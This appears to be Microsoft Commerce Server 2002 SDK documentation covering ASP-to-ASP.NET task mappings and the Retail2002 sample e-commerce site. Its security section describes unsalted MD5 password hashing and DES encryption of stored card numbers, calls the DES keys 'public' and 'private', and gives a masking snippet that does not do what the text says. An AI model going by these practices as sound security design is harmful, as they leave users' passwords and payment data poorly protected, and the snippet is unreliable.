(Microsoft.CommerceServer.Runtime.Caching)
OrderPipeline ContentSelectionPipeline

(Microsoft.CommerceServer.Runtime.Pipelines)
ContentList ContentItemCollection

Note

  • The COM ContentList object continues to be used internally in the pipeline.
CSF global context dictionary | ContentSelectionContext
ExpressionEval | ExpressionEvaluator
ExpressionStore | ExpressionStore RCW (LISTMANAGERLib.dll, Microsoft.CommerceServer.Interop.Targeting)
ListManager | ListManager RCW (Microsoft.CommerceServer.Interop.Targeting)
PredictorClient PredictorClient RCW

(PREDICTORCLIENTLib.dll, Microsoft.CommerceServer.Interop.Targeting)

Task mapping

Configuring the objects required for runtime content selection (including advertising and discounts)

Selecting targeted advertisements or discount promotions for display using a CSF Content Selection Pipeline

Accessing the Order or Pipeline Context dictionaries after a CSF pipeline has been executed by the ContentSelector.GetContent method

Retrieving the details of content items that were selected by a ContentSelector object

Creating an instance of the Expression Evaluator and connect it to an expression store database

Evaluating a single expression using the Expression Evaluator

Evaluating multiple expressions against a static set of profiles

Running a CSF RecordEvent pipeline to record events such as clicks on advertisements or discounts

Performing list operations using the ListManager service

Configuring the objects required for runtime content selection (including advertising and discounts)

ASP | ASP.NET
In the Application_OnStart method of global.asa file, create and configure the the CacheManager object, the ExpressionEvaluator object, content selection pipelines, and global Content Selection Framework (CSF) context dictionaries. In the Solution Sites these tasks are broken out in the global_cache_lib.asp and global_csf_lib.asp include files. For more information, see Code to Support the ContentSelector Object. | In the <CommerceServer> section of the web.config file, configure the sections for caches, pipelines, and contentSelection. Be sure the appropriate CommerceModules are configured in the HttpModules section. For more information, see the ASP.NET-Based Advertising Sitelet.

Selecting targeted advertisements or discount promotions for display using a CSF Content Selection Pipeline

ASP | ASP.NET
Create a ContentSelector object. Set properties on the ContentSelector object for targeting and other selection parameters. Call the GetContent method, passing the appropriate CSF global context dictionary. The results are returned as a SimpleList of strings. For more information, see Code to Execute the ContentSelector Object. The Advertising Sitelet in the SDK also contains examples about using the ContentSelector object. For more information about the Advertising Sitelet, see ASP-Based Advertising Sitelet. | Retrieve the ContentSelectionContext for the type of content being requested (a ContentSelectionContextCollection object is created at application startup based on configuration in the web.config file). Call the ContentSelectionContext.GetSelector method to retrieve a ContentSelector object. Add targeting profiles to the TargetingProfilesCollection by calling the ContentSelector.Profiles.Add method. Set other selection parameters on the ContentSelector as needed. Call the GetContent method to return a StringCollection of formatted content items. For more information, see ASP.NET-Based Advertising Sitelet.

Accessing the Order or Pipeline Context dictionaries after a CSF pipeline has been executed by the ContentSelector.GetContent method

This can be useful for troubleshooting. In the COM-based model, it is also the only way to access the entire set of properties of the selected content items.

ASP | ASP.NET
After the GetContent method has completed, the Order and Pipeline Context dictionaries that flowed through the pipeline are available in the ContentSelector object (CSO) dictionary under the keys Order and Context, respectively. | After the GetContent method has completed, the Order and Pipeline Context dictionaries that flowed through the pipeline are available through the Item property of the CSO, or the indexer. The names to access are Order and Context, respectively.

Retrieving the details of content items that were selected by a ContentSelector object

ASP | ASP.NET
After the GetContent method has completed, access the Order dictionary as described in the Accessing the Order or Pipeline Context dictionaries after a CSF pipeline has been executed by the ContentSelector.GetContent method table. Then access the ContentList containing the item data by retrieving the value for the _Content key. The _WinnerIndexes key contains a SimpleList of the row indexes of the selected items. Use the ContentList.Fields property to access the Fields collection for a given content item by passing its row index. The Fields collection allows access to the content item properties as name/value pairs. | After the GetContent method has completed, access the SelectedContentItems property of the CSO. Each item in the collection is a System.Collections.IDictionary object, making it easy to access the properties of the selected content items as name/value pairs.

Creating an instance of the Expression Evaluator and connecting it to an expression store database

ASP | ASP.NET
Create an instance of the Commerce.ExpressionEval object and call the Connect method. Expressions are typically stored in the BizDataStore database. The connection string for the BizDataStore database can be retrieved by accessing the s_BizDataStoreConnectionString key of the AppConfig options dictionary (as returned by the AppConfig.GetOptionsDictionary method). | Create an instance of the ExpressionEvaluator class and pass the connection string as the first parameter to the constructor. If you are running in the context of the NETAPPFW, then one is created for you automatically. Expressions are typically stored in the BizDataStore database. The connection string for the BizDataStore database can be retrieved by accessing the Biz Data Service Resource (from the site’s CommerceResourceCollection) and then accessing the s_BizDataStoreConnectionString property.

Evaluating a single expression using the Expression Evaluator

ASP | ASP.NET
Use the ExpressionEval.Eval method, passing a dictionary of profiles to evaluate against and the ID of the expression to evaluate. The result is a VARIANT; it is either of type VT_BOOL (with value VARIANT_TRUE or VARIANT_FALSE) or VT_NULL (meaning that the result of the expression is undefined because a referenced profile or profile property was unavailable for evaluation). | Use the ExpressionEvaluator.Evaluate method, passing a TargetingProfileCollection and the ID of the expression to be evaluated. The result is an ExpressionResult enumerator member.

Evaluating multiple expressions against a static set of profiles

This is the most efficient way to evaluate many expressions against a static set of profiles, as the expression evaluator will cache profile properties and expression results within the context. Note that in both cases, the context object that you get back should be treated as an opaque handle (you do not invoke methods on it).

ASP | ASP.NET
Create an ExprEvalContext object by passing a dictionary of profiles to the ExpressionEval.CreateEvalContext method. Evaluate the expressions by calling the ExpressionEval.EvalInContext method, passing the ID of the expression to evaluate and the ExprEvalContext object. | Create an EvaluationContextHandle by passing a TargetingProfileCollection to the ExpressionEvaluator.CreateEvaluationContextHandle method. Evaluate the expressions by calling the ExpressionEvaluator.EvaluateInContext method, passing the ID of the expression to evaluate and the EvaluationContextHandle object.

Running a CSF RecordEvent pipeline to record events such as clicks on advertisements or discounts

ASP | ASP.NET
Create Order and Context dictionaries to pass through the pipeline. Set the _winners, _event, _eventcount, _content, and _performance keys in the Order dictionary (the latter two should come from the content cache for ads or discounts). Optionally set the SiteName and PageGroupId keys in the context dictionary. Retrieve the pipeline instance from the application collection [Application("CampaignsCSFEventPipe")]. Execute the pipeline to record the event(s) using the process configured in the pipeline. See the redir.asp page in the Solution Sites or Advertising Sitelet in the SDK for an example of this functionality. The redir.asp file is located in the <drive>:\Inetpub\wwwroot\<Solution Site> directory. This file is only available if the Retail or Supplier Solution Site has been unpacked. | The model is the same for ASP.NET. Create the dictionaries using the Primary Interop Assembly (PIA) for the dictionary (Microsoft.CommerceServer.Runtime.DictionaryClass). Retrieve the pipeline to execute directly from the pipelines collection (CommerceContent.Current.Pipelines). The Retail2002 site in the SDK contains the Redir.aspx page, which is an example of executing the RecordEvent pipeline from an ASP.NET page. The Redir.aspx file is located in the <drive>:\Inetpub\wwwroot\<Solution Site>\Redir.aspx directory. This file is only available if the Retail2002 - International Retail Site has been unpacked.

Performing list operations using the List Manager service

ASP | ASP.NET
Create an instance of the Commerce.ListManager object. If the service is enabled but not running, it will be started by the Service Control Manager (SCM) automatically. Call the Initialize method, passing the connection string for the campaigns database (or other target database). Call other methods to perform list operations as needed. | Add a reference to the ListManagerLIB.dll PIA. Create an instance of the ListManagerClass object. If the service is enabled but not running, it will be started by the Service Control Manager (SCM) automatically. Call the Initialize method, passing the connection string for the campaigns database (or other target database). Call other methods to perform list operations as needed.


Retail2002: International Retail Site

The International Retail Site is a technology preview of a multilingual, multicurrency business-to-business, and business-to-consumer Web site. It is similar in some ways to the Retail Solution Site provided for Commerce Server 2002.

It is written in ASP.NET and supports many of the latest Commerce Server 2002 features.

The International Retail Site is a functional example of a site created by using .NET and Commerce Server 2002 technologies. It is a sample site only and was not tested or intended to be production grade. If you extend the site for your own use, it is recommended that you test the site thoroughly to be sure that the site and your extensions meet your requirements.

This section contains:

  • Retail2002: International Retail Site Overview. Describes setting up the site and exploring the site from the perspective of the user.
  • Retail2002: International Retail Site Features. Provides a description of the main features of the site.
  • Retail2002: International Retail Site Infrastructure. Provides a description of the site implementation.
  • Tips for Developing Your Retail2002 Site. Provides tips for developing the site.
  • Retail2002: International Retail Site Reference. Describes the file organization and control reference information for the International Retail Site.


Retail2002: International Retail Site Overview

The International Retail Site (Retail2002) demonstrates a Commerce Server 2002 business-to-consumer and business-to-business Web site built using ASP.NET and managed code. Much of the functionality of the site is contained in compiled assemblies and controls that inherit from the classes in those assemblies.

The site supports multilingual catalogs and demonstrates how to use .NET CultureInfo data to control how the site displays localized text and other properties. The architecture of the site is designed to manage text and images for multiple cultures, and will distinguish, for example, between French (France) and French Canadian content.

It can provide the correct currency, currency symbol, and delimiters for each while using the same French content translation; however, the currency conversions require additional settings to be made in the Exchange Rates table in Commerce Server Business Desk, populating it with valid ISO 4217 country/region codes and conversion rates.

This section contains:

  • Deploying the International Retail Site (Retail2002). Describes installing the site and Visual Studio .NET integration.
  • Setting Up the International Retail Site (Retail2002). Describes installing the site from Commerce Server 2002 without using Visual Studio .NET integration.
  • Setting Up the International Retail Site (Retail2002) with Visual Studio .NET. Describes installing the site as a Visual Studio .NET project.

See Also

Exploring the International Retail Site (Retail2002)


Deploying the International Retail Site (Retail2002)

The International Retail Site (Retail2002) has no hardware requirements beyond those of Commerce Server 2002. However, the software requirements are slightly different. For information about hardware requirements for Commerce Server 2002, see the Commerce Server 2002 Installation Guide. For software requirements for the International Retail Site, see International Retail Site Software Requirements.

The International Retail Site is a functional example of a site created by using .NET and Commerce Server 2002 technologies. It is a sample site only and was not tested or intended to be production grade. If you extend the site for your own use, it is recommended that you test the site thoroughly to be sure that the site and your extensions meet your requirements.


Setting Up the International Retail Site (Retail2002)

If you want to explore the International Retail Site (Retail2002) whether or not you intend to use Microsoft Visual Studio .NET as your development environment, install the International Retail Site by unpacking the Retail2002.pup file using Commerce Server Site Packager. For information about using Commerce Server Site Packager, see Unpacking a Site.

Important

  • The site will not function correctly if you change the site name during unpacking.

The Retail2002.pup file is located at <%systemdrive%>\Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Retail2002\Retail2002.pup.

The International Retail Site was designed to work with Passport and SQL Authentication. As such, it is not currently compatible with Windows Authentication. If you have installed Commerce Server 2002 using Windows Authentication, a default installation of the International Retail Site will not function correctly. While you could rework the International Retail Site to support Widows Authentication, doing so would require major changes to the site architecture.

To ensure that the International Retail Site works correctly with SQL authentication, make sure the connection strings that the site uses to connect to resources use Microsoft SQL Server user accounts. If you modify the connection strings after you unpack the site, the site will not work correctly.

You must also assign the ASPNET user account to the database role with appropriate access. The ASPNET account is a local account on the Web server. You can use the dbowner role, but to improve site security you should choose a role that enables you to assign more specific permissions. The role you select depends on the configuration of your site. For more information see Securing Your Site.

After unpacking the site, set up the International Retail Site Business Desk and import the sample catalog. Using your browser, navigate to http://<myServer>/Retail2002Bizdesk/ to start the Business Desk client setup process.

To import the sample catalog, see Importing an XML Catalog File. The sample catalog for the site is located at <%systemdrive%>\Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Catalog Sitelet\AdvWorksCatalog.xml.

The International Retail Site Retail2002.pup file does not include the images associated with the sample catalog. Use the following procedure to install the images associated with the sample catalog:

  1. Unpack the Catalog Sitelet from the same location as the XML file. For more information about installing the Catalog sitelet, see installing the ASP.NET-Based Catalog Sitelet.
  2. Create the folder, <%systemdrive%>\Inetpub\wwwroot\Retail2002\Images\Catalog.
  3. Copy the image files from <%systemdrive%>\Inetpub\wwwroot\NetCatalogSitelet\Images folder to the new Catalog folder.

See Also

Setting Up the International Retail Site (Retail2002) with Visual Studio .NET


Setting Up the International Retail Site (Retail2002) with Visual Studio .NET

If you want to explore or extend the International Retail Site (Retail2002) using Microsoft Visual Studio .NET as your development environment, you must first unpack the site using Commerce Server Site Packager. For information about using Commerce Server Site Packager, see Unpacking a Site.

The Retail2002.pup file is located at <%systemdrive%>\Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Retail2002\Retail2002.pup.

If you want to modify the International Retail Site, note that site will not function correctly if you change the site name during unpacking. If you rename the International Retail Site while unpacking it, Microsoft Visual Studio .NET will not be able to successfully open the solution that is included with the site. The solution file (with the extension .sln) has been customized for the specific name of the site, which is Retail2002.The International Retail site was designed to work with Passport and SQL Authentication. As such, it is not currently compatible with Windows Authentication. If you have installed Commerce Server 2002 using Windows Authentication, a default installation of the International Retail Site will not function correctly. While you could rework the International Retail Site to support Widows Authentication, doing so would require major changes to the site architecture.

To ensure that the International Retail Site works correctly with SQL authentication, make sure the connection strings that the site uses to connect to resources use Microsoft SQL Server user accounts. If you modify the connection strings after you unpack the site, the site will not work correctly.

You must also assign the ASPNET user account to the database role with appropriate access. The ASPNET account is a local account on the Web server. You can use the dbowner role, but to improve site security you should choose a role that enables you to assign more specific permissions. The role you select depends on the configuration of your site. For more information see Securing Your Site.

After unpacking the site, set up the International Retail Site Business Desk and import the sample catalog. Using your browser, navigate to http://<myServer>/Retail2002Bizdesk/ to start the Business Desk client setup process.

To import the sample catalog, see Importing an XML Catalog File. The sample catalog for the site is located at <%systemdrive%>\Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Catalog Sitelet\AdvWorksCatalog.xml.

The International Retail Site Retail2002.pup file does not include the images associated with the sample catalog. Use the following procedure to install the images associated with the sample catalog:

  1. Unpack the Catalog Sitelet from the same location as the XML file. For more information about installing the Catalog sitelet, see see installing the ASP.NET-Based Catalog Sitelet.
  2. Create the folder, <%systemdrive%>\Inetpub\wwwroot\Retail2002\Images\Catalog.
  3. Copy the image files from <%systemdrive%>\Inetpub\wwwroot\NetCatalogSitelet\Images folder to the new Catalog folder.

After the site has been unpacked and the sample catalog has been imported, you can open the solution file in Visual Studio .NET using the following procedure:

  1. Start Visual Studio .NET.
  2. On the Open menu, click Project.
  3. In the Open dialog box, browse to and select the file <%systemdrive%>\Inetpup\wwwroot\Retail2002\Retail2002.sln.

The Retail2002 project opens in Visual Studio .NET.

Note

  • Do not use the Commerce Server Project Creation Wizard that is integrated into Visual Studio .NET to create the International Retail Site. The International Retail Site solution contains multiple projects that would have to be deleted and re-added manually.

You may get error messages when attempting to build the entire International Retail Site with Visual Studio .NET. To avoid this, you may need to open the inner dependent projects first and build them separately, by doing the following:

  1. Close Visual Studio .NET.
  2. Reset IIS.

    For more information, see Restarting IIS and Commerce Server Services.

  3. Open the solution in Visual Studio .NET.
  4. On the Build menu, click Rebuild All.

    Note

    • If selecting Rebuild All does not accomplish the task, you may need to open the inner dependent projects first and rebuild those projects separately.

See Also

Setting Up the International Retail Site (Retail2002)


Retail2002: International Retail Site Features

The following sections outline the major feature areas of the International Retail Site. These areas are described at a high level. The implementation of the features is described in the Site Infrastructure topics with details in the Retail2002: International Retail Site Reference section.

This section contains:

  • Multiculture Features. Describes the features that support currency, language, and other cultural attributes.
  • Main Page Features. Describes the main page of the International Retail Site.
  • Product Catalog Features. Describes the navigation controls for the product catalog, and product catalog compatibility requirements.
  • Authentication Features. Describes user authentication.
  • Account Management Features. Describes the features that manage user data.
  • Cart Features. Describes the shopping cart page.
  • Transaction Processing Features. Describes the processing of transactions on the International Retail Site.
  • Campaign Features. Describes support for Commerce Server 2002 advertising and discount campaigns.
  • BizTalk Server Integration Features. Describes the integration of BizTalk Server with the International Retail Site.


Multiculture Features

The International Retail Site is globalized and localizable. The site and the sample catalog are localized into four languages, French, German, Japanese and English. The catalog can be found in the following directory:

<drive>\Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Catalog Sitelet\

See Setting up the International Retail Site for instructions to install the sample catalog.

This section contains:

  • Globalized Architecture. Describes how to add additional cultures to the International Retail Site.
  • Multilanguage Features. Describes support for translated strings, bitmaps, and multilanguage catalogs.
  • Multi-Country/Region Features. Describes the elements supported by the .NET CultureInfo class.
  • Multicurrency Features. Describes the multicurrency feature of the International Retail Site.
  • Other Culture Features. Describes culture-specific address templates and international BizTalk Server issues.


Globalized Architecture

The International Retail Site is designed to allow additional cultures to be added easily to the site. For example, the site code is separate from the string resources. Adding a language to the site is a simple process. See Adding a Language to your Site for more information.

To support globalization, the .NET Framework provides a class called CultureInfo, which represents information about a specific culture. This information includes the writing system, calendars in use, date and time formatting conventions, numeric and currency conventions, and sorting rules. Use the CultureInfo class to describe a specific culture and customize operations, such as formatting dates and numbers, sorting strings, or definitions of character sets to be appropriate for that culture.

For more information about the .NET CultureInfo class, see MSDN Library and search on CultureInfo.


Multilanguage Features

Text information in the site comes from several sources:

  • Catalog data
  • User interface text
  • Graphics that contain bitmapped text

Each of these elements must be managed to fully internationalize a site.

To do this, the site takes full advantage of the multilanguage features of Commerce Server 2002 catalogs. Catalogs, categories, and products have display names for each language in the catalog. See Multilingual Catalogs for more information.

The site also contains string resource files (ResX) for each language supported by the site. Adding a new language is as simple as translating the ResX file and adding the translated file to the site. See Localizing Web Site Text for more information.

Providing localized graphics is similar to skinning the site. See Page Authoring for more information.


Multi-Country/Region Features

Culture information goes beyond language. It includes national or even regional distinctions. For example, there is a different culture code for France-French, Canadian-English, Canadian-French, and U.S.-English.

For more information about the .NET CultureInfo class, see MSDN Library and search on CultureInfo.

The following elements are supported by the .NET CultureInfo class. These elements are supported in the International Retail Site:

  • Numbers
  • Currency (which are numbers with a currency symbol)
  • Time
  • Dates
  • Strings
  • Images


Multicurrency Features

The International Retail site exposes a currency conversion feature which allows the user to view product prices expressed in different currencies. This feature uses configurable exchange rates relative to the site's base currency.

The catalog used in the International Solution Site contains price information in a single currency. If more catalogs are added, all catalogs on the site must use the same base currency.

If the user has chosen a display currency that is different from the base currency for the catalog, the International Retail Site can display an approximate price in the display currency of the user, which is calculated from a simple conversion rate configured on the site. Calculating an accurate conversion involves more complicated calculations, access to current rate information, and rules that often vary for specific conversions. This is outside the scope of this sample site.

See Also

International Transactions


Other Culture Features

The site also demonstrates a business-to-business component that uses Microsoft BizTalk Server to manage the transfer of catalog information and orders. The site displays information relating to orders. You should be aware if you are planning to implement such a system that partner sites may not respond in the culture of the current user or provide multilingual data.


Main Page Features

This section describes the main features that are visible on the primary pages of the International Retail Site.

This section contains:

  • Search
  • Catalog Navigation
  • Site Logo
  • Ad Banner
  • Featured Stories/Products
  • Informational Links
  • Targeted Content
  • Fixed Navigational Links


Search

The International Retail Site provides full-text search, allowing users to search for products based on actual text data rather than using the catalog. The advanced search option allows users more control of a full-text search. Users can search with multiple terms using the logical AND and OR operators, and they can control which catalogs are searched.

By default, search works against the current catalog set. Only the catalogs that are in the user’s catalog set are searched. For anonymous users, only the catalogs in the anonymous user catalog set are searched.

The Search Control and the AdvancedSearch control are used to provide this functionality.


Catalog Navigation

Users navigate the site content through a combination of the Browser control and the NavigationTabs control.

When the user first enters the main page no catalog is selected. The navigation tabs display the catalogs available to the user.

The main content area displays a list of featured products. These products are chosen by the site based on a combination of site configuration and the attributes of the products in the catalog.

The number of products shown in the list of featured products can be changed by the developer. The list of featured products can be configured to select products for display using one of the following methods:

  • Select products by Ad using a PageGroup with a context of "Main" and slot context of featured product.
  • Select products by discount using the same targeting context as ads.
  • Select products by catalog which displays the list of root products (products without parent categories).

    After the user selects a catalog, the Browse navigation control displays the title Browse Categories the top of the control. Below this, it shows the root categories.

    There are three different templates for displaying product information in various areas of the site. This section discusses products shown in the medium template. For more information about product display templates see Product Catalog Display.

    As users drill into catalog categories, the browser control displays their location in the catalog hierarchy and shows the categories below their present location. The products in the current category are shown in the main content area.

    The site can distinguish between authenticated users and anonymous users, and use that information to display different catalogs to the user. As the site is configured the two catalog sets are identical. The catalog sets are specified, and can be changed by editing the web.config file.


Site Logo

The site logo in the upper left corner on the International Retail Site is a link to a static image. This image is selected based on the current culture, so that it can be changed to support different languages. It can be easily changed when customizing the site.

See Also

Page Authoring


Ad Banner

The site provides a location for an ad banner at the top of all pages, immediately to the right of the logo. See International Campaigns for more information.


Featured Stories/Products

When no catalog is selected, the home page shows featured products in the main content area.

There are many strategies for the display of featured content that sites may want to implement. Some examples are:

  • Static content – using static HTML pages.
  • Targeted content – using the Content Selector Framework (CSF) for discounts or ads.


Informational Links

Informational links are provided to the Help, Customer Service, and My Account pages. These links are provided to help the user get the most out of the site.


Targeted Content

To the right of the main area is an area set aside for the display of targeted content. The Content Selection Framework is used to select promotions and discounts. If there are none available, the area is left blank.


Fixed Navigational Links

Across the bottom of the main area are a series of links to the site home page, the site map, user account information, as well as several static pages that represent typical static content for a business-to-consumer e-commerce site.


Product Catalog Features

The International Retail Site displays site catalogs, and supports navigation of the site catalogs through either searching or browsing.

This section contains:

  • Product Catalog Search. Describes full-text search and advanced search as they are used on the International Retail Site.
  • Product Catalog Browsing. Describes the controls used for catalog browsing on the site.
  • Product Catalog Display. Describes the product-display templates.
  • Product Catalog Compatibility. Describes catalog features that are required for the site to function properly.


Product Catalog Search

Catalog search is always available to the left of the main page. There are two types of search, full-text search and advanced search. With both types of search the results are displayed in the main area, and users can also control which catalogs are searched.

Full-text Search

The Search control provides a basic full-text search of the current catalog set when the user click the Search link on the page. It also displays a link to the AdvancedSearch control.

Advanced Search

When the user clicks the Advanced Search link on the page, the AdvancedSearch control appears in the main display area. The AdvancedSearch control allows users to more readily define the parameters for their search. Users can search with multiple terms using the logical AND and OR operators. With advanced search capabilities, users can also control how many items to return on the results page.


Product Catalog Browsing

Users navigate the site by using the Browser control and the NavigationTabs control.

The CatalogNavigationTabs control allows users to select the catalog to browse, or to navigate to the site home page.

The CatalogBrowser control allows users to browse through the categories of the selected catalog. If the catalog contains multiple levels of categories, the control displays the current location in the category hierarchy. This display helps users stay oriented on the site.


Product Catalog Display

Product information is displayed differently in different contexts. There are three product-display templates:

  • Small for search results
  • Medium for product list displays
  • Full for product selection/configuration

The ProductList control is used to display product information when browsing a catalog. The full template is used to display the product when the user has selected a specific product. The VariantDisplay control is used if the selected product has a variant. This control allows users to display and manage product options before placing the product in their cart.


Product Catalog Compatibility

The International Retail Site was designed to use catalogs with a structure similar to the sample catalog.

Required Columns

The following columns must be present in any catalog on the site:

  • Description
  • Image_filename
  • Name

A value is required for the Name column to access the Product details page for that product. The Description and Image_filename columns can be empty.

Recommended Hierarchy

Paging is not implemented on the site. If your catalog has a large number of root-level products, the aspnet_wp process will time out and the site will not respond. Your catalog should contain products within categories, and no single category should contain a large number of products.


Authentication Features

The site designer may configure the International Retail Site to require authentication in order for the user to make a transaction on the site. Authentication makes the shopping experience far easier and more targeted. It allows the user to maintain multiple ship-to addresses, multiple credit card information, and past shopping history.

The International Retail Site allows two types of user authentication:

  • Forms / Passport Authentication

    An authenticated user is a user who has filled out a user profile for the site, or who has logged in through Microsoft Passport. The International Retail Site uses authentication to enhance the retail experience by allowing targeted offers and stream-lined checkout; however, users are not forced to authenticate their visits.

  • Anonymous Authentication

    Users are considered anonymous until they log into the site using either Microsoft Passport or the login page. Anonymous users can still be tracked, but less is known about them, and so less can be done for them. Targeted advertisements, for example, cannot be generated for an anonymous user.

Authentication may be expanded to provide other personalized details such as holiday or birthday wish lists. If the user supplies their profile data in advance, it will also make the checkout process easier.

This section contains:

  • Tracking Users. Describes how the site can track users.
  • Passport Integration Features. Describes Microsoft Passport integration features.
  • Security Features in the International Retail Site. Describes security features as they relate to the International Retail Site.

See Also

  • Authenticating Users
  • Integrating with Passport


Tracking Users

The site tracks user sessions in either cookie or cookieless mode. The site automatically detects client-side cookie support for each session. If persistant cookies are enabled on the client, the site can track return visits of anonymous users, as well as user preferences.

There are three possible states that the site must deal with when tracking user visits:

  • The user allows session and persistent cookies

    User information can be tracked using cookies, and those cookies can be stored on the hard disk between sessions.

  • Session cookies only

    User information can be tracked during the session using cookies, but this data will be deleted at the end of the session. It will not be available for future use.

  • No cookie support

    User information cannot be tracked using cookies. In this case, other means must be used to track user data. The International Retail Site will append the Authorization and Profile tickets to the end of the URL for each page request. This is similar to the method used in the Retail Solution Site. Note that Passport does not support cookieless mode. For more information, see Passport Integration Features.

See Also

Security Features in the International Retail Site


Passport Integration Features

The International Retail Site automatically displays the Passport login button if Microsoft Passport is correctly installed and configured on the server. When the user creates a new account and is authenticated by Passport, the site retrieves the available profile properties from Passport and uses them in the user profile maintained in Commerce Server for that user. This transfer of profile properties is done only once, at new account creation. The site does not maintain any synchronization of profile properties between Commerce Server profiles and Passport profiles.

Note

  • Passport does not support cookieless mode. If a user logs in with Passport in cookieless mode, they will be directed to the myaccount page as expected. However, when the user logs out they will not actually do so. Although the web site will display the correct log-out links, the user can go back to the site and log in again without having to enter their credentials. Currently, the best practice is to remove the ability of cookieless users to use Passport on your site.

See Also

Security Features in the International Retail Site

Enabling Passport

Integrating with Passport


Security Features in the International Retail Site

The International Retail Site is not intended for users on a kiosk or shared computer. This is because:

  • User information persists only for the duration of the session; however, browser caches are not automatically cleared at the end of the session. When a user walks away from a kiosk, the user information would remain and potentially be available to other users.
  • Address information will persist until the user either logs out or closes all browser windows.

Note

  • Credit card information will not persist or be cached in the browser.

The International Retail Site uses .NET Framework encryption services to secure the most sensitive user data. Search the MSDN Library at http://go.microsoft.com/fwlink/?LinkId=6680 for more information about the System.Security.Cryptography namespace.

The user password is encrypted using a one-way MD5 hash before it is stored in the password property of the profile. For login password matching, the input password is simply hashed the same way. If the resulting hash matches what is stored in the password property, then a valid login is made. The .NET MD5CryptoServiceProvider class is used to accomplish this hashing. See Security Features at: http://go.microsoft.com/fwlink/?LinkId=6688 for more information about the MD5CryptoServiceProvider class.

Credit card data is also encrypted. The site uses a basic level of encryption for storage of credit card numbers using the .NET DESCryptoServiceProvider class. Key strength will depend on the encryption strength of the operating system. Two keys are required for this encryption method:

  • A public encryption key is stored as a site resource in the Commerce Server Administration database.
  • A private encryption key is a system level property only available to the system applications that need the credit card numbers.

It is important to minimize the number of components that have access to this private key. The Order Processing pipeline is the only Commerce Server component that needs the credit card number exposed so that third party credit card verification services can work.

The only other class of applications that need the credit card number exposed are the back-end line of business systems that need the credit card number to process orders.

The site supports rolling the encryption key pairs. For more information, see Adding Values for Public Key, Private Key, and Key Index Tokens. The method supported is to toggle the encryption keys. This specifically drops old keys after a second key upgrade.

Note

  • This assumes that fulfilled orders that are archived past the return policy date do not need their credit card numbers decrypted anymore.

The site displays stored credit card numbers with a mask, so that only the last four numbers are displayed.

The following example demonstrates creating the masked string:

'Digits is a string containing the full credit card number.
'DigitDisplay is set to the display format.
string DigitDisplay  = string.Format("####-####-###{0:1}-{1}",  Digits[0], Digits.Substring(1));

See Also

Passport Integration Features

Authentication Infrastructure

Adding Values for Public Key, Private Key, and Key Index Tokens


Account Management Features

The account management features of the International Retail Site allow users to manage all the data that the site persists. User account management is not to be confused with profile management in the shopping cart and checkout.

This section contains:

  • Using the Account Management Features. Describes the account managment features.
  • Extending the Account Management Features. Describes how to extend the account management features.

See Also

Retail2002: International Retail Site

Retail2002: International Retail Site Overview


Using the Account Management Features

The account management features for the International Retail Site are reached through the My Account link on the main page. This links to the pages that the user interacts with to create and manage personal account data. Account data includes:

  • Address information
  • Credit card numbers
  • Shipping and billing preferences
  • Language preferences

See Also

Extending the Account Management Features


Extending the Account Management Features

The account management features for the International Retail Site are designed to be extensible by developers. The following controls are used to manage this data:

  • WelcomeUser
  • Navigation
  • MyAccount
  • NewAccount
  • AddressView
  • Addressedit
  • CountrySelector
  • CreditCardList
  • CreditCardSelector
  • CreditCardEdit

These controls manage account data that is stored and modeled by the Profiling System. (Microsoft.CommerceServer.Runtime.Profiles).

Programmer access to the data is provided through the Profile class.

Programmer access to the schema is provided through the ProfileService class.

The user interface changes to conform to the schema. The user interface reflects the correct number of properties, property names, data type, and length even if the schema is changed, supporting the flexibility and extensibility of the user interface.

Notes

  • All account data is stored in Unicode format to facilitate multilanguage processing and display.
  • The OLE DB Provider for Commerce Server can handle bulk loading of profile data, and it can consume external third-party data sources to expose the data sources as additional profile objects.
  • The site schema is compatible with the Retail Solution Site schema to facilitate migration and maintain continuity.
  • Users are allowed to delete their profile data (but they may not delete their order data). If users delete their profile data, all associated user address and credit card data are also deleted.

See Also

Using the Account Management Features


Cart Features

In the International Retail Site the shopping cart is displayed to a user after the user clicks the "cart" button, located in the upper right corner of most pages, as well as the Add to Cart button.

The Cart display contains a currency drop-down list that takes its values from each row in the currency conversion table. The user can click the down arrow to pick a currency and then click the Convert Currency button to convert the currency into the currency chosen from the list. This modifies the prices in the cart and shows the users their purchases in the new currency. The new currency is displayed using the localization properties for the user.

Note

  • The values in the currency conversion table are approximate. In a production system this code should be replaced with functions that can supply the current rate of exchange.

The cart and order management architecture is extensible to support different cart types, for example, holiday lists, wedding lists, birthday lists, user defined lists, and order history.

The cart is composed of a functionally isolated section of code in order to facilitate reuse and extensibility. The code can be easily modified to create different cart types.

The following table lists the data displayed in the cart for each line item.

Property | Type | Required | Description
Remove | Check box | Yes | Allows users to remove individual line items.
Quantity | Edit Field, Real | Yes | Allows users to modify the number of items in the cart. Setting this property to zero will remove the item from display.
Item name | String | Yes | Human readable product name. The name is linked to the appropriate product page.
Item discount | String | No | Show any discounts associated with this line item.
Localized Price | Currency | Yes | Localized version of the price. If the price is localized, an asterisk (*) is displayed and a disclaimer is placed at the bottom of the cart page to inform the user that the price is approximate.

The following table lists all order level information for the shopping cart.

Property | Type | Req | Description
Order level discounts | Currency | No | Show all order level discounts, including free shipping, if applicable.
Localized subtotal | Currency | Yes | Allows users to view the sub total.
Discount comments | Text | No | Allows users to view short descriptions of the applied discounts.
Currency disclaimer | String | Yes | If the currency for the user is not the site currency, then display a disclaimer noting that the price is approximate.
Item discount comments | String | No | Show discount descriptions for the discounts that are applied to the cart.

See Also

Exploring the International Retail Site

Step 1: Adding Data to the Site


Transaction Processing Features

The International Retail Site provides a check out process for both authenticated and anonymous users. The primary difference between an authenticated user and an anonymous user is that profile data will be used to pre-populate fields for authenticated users while anonymous users will have to fill out all required data manually.

Once the registered user has selected items to purchase, the user puts those items into the cart and then clicks the Check Out button. The user is redirected to the check out page (checkout.aspx). Items to be purchased on the check out page are presented in a format that is similar to the shopping cart, but the user does not have the ability to change the contents or the quantity. If the user wants to change the contents or the quantity in the cart, the user must use back button to return to the cart.

A drop-down control allows an authenticated user to select a shipping address, which is stored in the user's profile. The site can store multiple named shipping addresses as part of the user profile for authenticated users. This feature is not available for anonymous users, since these users have not filled out the account information and passwords associated with authentication.

